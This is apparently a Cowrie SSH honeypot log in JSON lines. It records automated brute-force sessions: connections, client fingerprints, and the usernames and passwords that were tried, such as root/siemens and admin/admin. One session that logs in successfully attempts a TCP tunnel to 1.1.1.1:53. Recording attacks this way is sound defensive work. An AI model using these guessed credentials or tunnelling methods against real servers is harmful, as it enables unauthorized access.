{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:42.911806Z","src_ip":"103.172.78.219","session":"05fd38791587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjnjnbg","message":"login attempt [root/ghjnjnbg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:43.678325Z","src_ip":"103.172.78.219","session":"05fd38791587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:44.936642Z","src_ip":"103.172.78.219","session":"05fd38791587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55313,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8dd9fde31b3","protocol":"ssh","message":"New connection: 152.42.212.128:55313 (10.17.0.5:22) [session: f8dd9fde31b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:47.512328Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:47.515904Z","src_ip":"152.42.212.128","session":"f8dd9fde31b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:39:47.518667Z","src_ip":"152.42.212.128","session":"f8dd9fde31b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50670,"dst_ip":"159.203.135.109","dst_port":22,"session":"e559262fe90f","protocol":"ssh","message":"New connection: 193.32.162.151:50670 (159.203.135.109:22) [session: e559262fe90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:01.620020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:01.626719Z","src_ip":"193.32.162.151","session":"e559262fe90f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:01.752383Z","src_ip":"193.32.162.151","session":"e559262fe90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:02.088087Z","src_ip":"193.32.162.151","session":"e559262fe90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:03.199377Z","src_ip":"193.32.162.151","session":"e559262fe90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c49b17fe3a4c","protocol":"ssh","message":"New connection: 103.27.238.120:41520 (10.17.0.5:22) [session: c49b17fe3a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:24.530941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:24.539000Z","src_ip":"103.27.238.120","session":"c49b17fe3a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:24.812449Z","src_ip":"103.27.238.120","session":"c49b17fe3a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1lakiss","message":"login attempt [root/d1lakiss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:25.634019Z","src_ip":"103.27.238.120","session":"c49b17fe3a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b239114cc7b9","protocol":"ssh","message":"New connection: 103.77.175.15:43792 (10.17.0.5:22) [session: b239114cc7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:26.089704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:26.094789Z","src_ip":"103.77.175.15","session":"b239114cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:26.349291Z","src_ip":"103.77.175.15","session":"b239114cc7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:26.910108Z","src_ip":"103.27.238.120","session":"c49b17fe3a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqqq","message":"login attempt [root/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:27.185562Z","src_ip":"103.77.175.15","session":"b239114cc7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:40:28.442123Z","src_ip":"103.77.175.15","session":"b239114cc7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":43098,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a885eca94e7","protocol":"ssh","message":"New connection: 43.163.81.22:43098 (159.203.135.109:22) [session: 1a885eca94e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:03.802263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:03.807412Z","src_ip":"43.163.81.22","session":"1a885eca94e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:04.045187Z","src_ip":"43.163.81.22","session":"1a885eca94e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zcl","message":"login attempt [root/zcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:05.029029Z","src_ip":"43.163.81.22","session":"1a885eca94e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:06.270908Z","src_ip":"43.163.81.22","session":"1a885eca94e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":46404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb3a3462195","protocol":"ssh","message":"New connection: 103.75.183.219:46404 (159.203.135.109:22) [session: ebb3a3462195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:17.687325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:17.692439Z","src_ip":"103.75.183.219","session":"ebb3a3462195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:17.959205Z","src_ip":"103.75.183.219","session":"ebb3a3462195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siemens","message":"login attempt [root/siemens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:18.703574Z","src_ip":"103.75.183.219","session":"ebb3a3462195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:41:19.955398Z","src_ip":"103.75.183.219","session":"ebb3a3462195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41922,"dst_ip":"10.17.0.5","dst_port":22,"session":"50fe448d64dc","protocol":"ssh","message":"New connection: 87.251.64.176:41922 (10.17.0.5:22) [session: 50fe448d64dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:00.491223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:00.496790Z","src_ip":"87.251.64.176","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:00.609671Z","src_ip":"87.251.64.176","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:01.141479Z","src_ip":"87.251.64.176","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:01.245964Z","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:01.360221Z","src_ip":"87.251.64.176","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:01.528760Z","src_ip":"87.251.64.176","session":"50fe448d64dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41640,"dst_ip":"159.203.135.109","dst_port":22,"session":"16bee66aa25c","protocol":"ssh","message":"New connection: 193.32.162.151:41640 (159.203.135.109:22) [session: 16bee66aa25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:12.474960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:12.479772Z","src_ip":"193.32.162.151","session":"16bee66aa25c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:12.582132Z","src_ip":"193.32.162.151","session":"16bee66aa25c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:12.886680Z","src_ip":"193.32.162.151","session":"16bee66aa25c","protocol":"ssh"}
